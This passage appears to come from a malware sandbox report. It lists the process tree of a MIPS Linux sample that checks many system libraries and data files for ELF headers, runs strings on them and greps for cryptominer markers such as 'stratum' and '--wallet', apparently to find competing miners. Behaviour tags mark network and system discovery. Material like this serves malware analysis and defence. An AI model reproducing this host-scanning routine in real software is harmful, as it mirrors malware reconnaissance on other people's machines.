  2⤵
  PID:1187
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1188
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1186
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1190
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  - System Network Configuration Discovery
  PID:1192
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1194
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1193
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1197
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1196
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1195
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  - Reads runtime system information
  PID:1199
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1201
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1203
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1202
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1206
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1205
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1204
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  - System Network Configuration Discovery
  PID:1208
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  - System Network Configuration Discovery
  PID:1210
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1212
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1211
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1215
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1214
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1213
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  PID:1217
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  PID:1219
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1221
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  - System Network Configuration Discovery
  PID:1220
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1224
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1223
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  PID:1222
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1226
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1228
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1230
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1229
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1232
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1233
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  - System Network Configuration Discovery
  PID:1231
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1235
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1237
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1239
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1238
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libfftw3.so.3.5.5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1241
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libfftw3.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1243
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1245
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libfftw3.so.3.5.5
  2⤵
  PID:1244
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1247
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1248
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libfftw3.so.3.5.5
  2⤵
  PID:1246
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1250
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1252
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1254
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1253
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1257
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1256
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libgnutls.so.30.13.1
  2⤵
  - System Network Configuration Discovery
  PID:1255
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1259
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libfreetype.so.6.12.3
  2⤵
  - System Network Configuration Discovery
  PID:1261
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1263
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1262
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1266
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1265
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1264
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  - Reads runtime system information
  PID:1268
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  PID:1270
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1272
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1271
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1275
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1274
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1273
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  PID:1277
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  - System Network Configuration Discovery
  PID:1279
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1281
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  PID:1280
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1283
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1284
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  - System Network Configuration Discovery
  PID:1282
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libc.a
  2⤵
  PID:1286
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libc.a
  2⤵
  PID:1288
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1290
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libc.a
  2⤵
  PID:1289
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  - Reads runtime system information
  PID:1292
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1294
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1296
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1295
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1299
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1298
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1297
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libicuuc.so.57.1
  2⤵
  - Reads runtime system information
  PID:1301
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1303
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1305
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1304
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1308
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1307
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1306
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1310
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1312
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1314
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1313
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1316
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1317
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1315
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  - System Network Configuration Discovery
  PID:1319
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1321
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1323
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1322
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1326
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1325
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1324
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1328
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1330
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1332
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1331
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1335
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1334
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1333
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1337
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1339
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1341
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1340
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1344
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1343
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1342
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1346
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1348
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1350
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1349
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1353
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1352
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1351
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libicui18n.so.57.1
  2⤵
  PID:1355
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libicui18n.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1357
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1359
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libicui18n.so.57.1
  2⤵
  PID:1358
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1361
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1362
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libicui18n.so.57.1
  2⤵
  PID:1360
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1364
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  - System Network Configuration Discovery
  PID:1366
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1368
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1367
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1371
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1370
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1369
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1373
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1375
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1377
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1376
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1380
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1379
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1378
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libbfd-2.28-system.so
  2⤵
  - Reads runtime system information
  PID:1382
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libbfd-2.28-system.so
  2⤵
  PID:1384
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1386
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libbfd-2.28-system.so
  2⤵
  PID:1385
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1388
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libbfd-2.28-system.so
  2⤵
  - System Network Configuration Discovery
  PID:1387
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1389
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  - Reads runtime system information
  PID:1391
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1393
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1395
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1394
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1398
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1397
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1396
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libssl.a
  2⤵
  - System Network Configuration Discovery
  PID:1400
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libssl.a
  2⤵
  PID:1402
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1404
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libssl.a
  2⤵
  - System Network Configuration Discovery
  PID:1403
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1406
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1408
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1410
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1409
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1412
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1413
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1411
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcrypto.a
  2⤵
  - System Network Configuration Discovery
  PID:1415
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcrypto.a
  2⤵
  - System Network Configuration Discovery
  PID:1417
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1419
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcrypto.a
  2⤵
  PID:1418
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcrypto.so.1.0.2
  2⤵
  PID:1421
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcrypto.so.1.0.2
  2⤵
  - System Network Configuration Discovery
  PID:1423
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1425
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcrypto.so.1.0.2
  2⤵
  PID:1424
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1428
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1427
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcrypto.so.1.0.2
  2⤵
  PID:1426
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libisl.so.15.3.0
  2⤵
  - Reads runtime system information
  PID:1430
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1432
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1434
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1433
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1437
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1436
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1435
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  - System Network Configuration Discovery
  PID:1439
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1441
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1443
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1442
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1446
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1445
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1444
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1448
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libkrb5.so.3.3
  2⤵
  - System Network Configuration Discovery
  PID:1450
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1452
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1451
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1455
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1454
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1453
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1457
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1459
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1461
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1460
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1464
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1463
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1462
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1466
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1468
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1470
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1469
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  - System Network Configuration Discovery
  PID:1472
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  PID:1474
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1476
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  PID:1475
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1478
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1480
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1482
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1481
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1485
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1484
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1483
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1487
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1489
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1491
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1490
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1494
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1493
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1492
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1496
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  PID:1498
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1500
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  PID:1499
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  PID:1502
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  PID:1504
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1506
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  PID:1505
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1508
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1510
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1512
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1511
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1515
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1514
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1513
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1517
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1519
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1521
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1520
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1523
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1524
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1522
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1526
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1528
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1530
- /usr/bin/head
